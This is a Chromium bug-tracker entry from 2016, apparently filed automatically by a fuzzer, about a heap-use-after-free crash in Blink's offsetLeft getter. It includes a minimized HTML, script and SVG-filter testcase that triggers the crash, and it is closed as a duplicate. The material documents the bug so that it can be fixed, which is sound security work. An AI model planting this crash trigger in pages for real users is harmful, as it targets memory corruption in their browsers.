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Issue 626185 link

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Issue metadata

Status: Duplicate
Merged: issue 625903
Owner: ----
Closed: Jul 2016
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Windows
Pri: ----
Type: Bug-Security



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Heap-use-after-free in blink::HTMLElement::offsetLeftForBinding

Project Member Reported by ClusterFuzz, Jul 7 2016

Issue description

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=6748461831815168

Fuzzer: mbarbella_js_mutation_layout
Job Type: windows_syzyasan_content_shell
Platform Id: windows

Crash Type: Heap-use-after-free READ 4
Crash Address: 0x29de51bb
Crash State:
  blink::HTMLElement::offsetLeftForBinding
  blink::HTMLElementV8Internal::offsetLeftAttributeGetter
  v8::internal::FunctionCallbackArguments::Call
  
Recommended Security Severity: High

Regressed: https://cluster-fuzz.appspot.com/revisions?job=windows_syzyasan_content_shell&range=403408:403412

Minimized Testcase (0.38 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv94g17glsYpWYXDjtxaC-rpo-iRUnRVwQTVprX1_7x56hMd0G5Mh8kjxN6stviv9_l4j6KAv_iyO2ajU44QqKCD7AAmQ8D4nRX143B3E8UoerR0mpsRbSsva_eMur3dy1oEk6TPll9EDpIUzI1Z1uwz030qdDw?testcase_id=6748461831815168
 <script>
   function __f_0()
{
    var __v_1 = document.getElementById("test");
    var __v_2 = __v_1.offsetLeft + __v_1.offsetWidth - 8;
}
  </script>
  <style>
   div {
  position: absolute;
}
#test {
  -webkit-filter: opacity(0) url(#f);
  </style>
 <div id="test">
   <svg>
    <filter id="f">
<script>
 testLosingRendererOnClick = __f_0; 

 testLosingRendererOnClick(); 
</script>


Filer: ochang

See https://dev.chromium.org/Home/chromium-security/bugs/reproducing-clusterfuzz-bugs for more information.
 
Cc: kochi@chromium.org
Components: Blink>CSS

Comment 2 by kochi@chromium.org, Jul 7 2016

Mergedinto: 625903
Status: Duplicate (was: Available)
Same as 625903 and should be fixed there.
Project Member

Comment 3 by sheriffbot@chromium.org, Oct 14 2016

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

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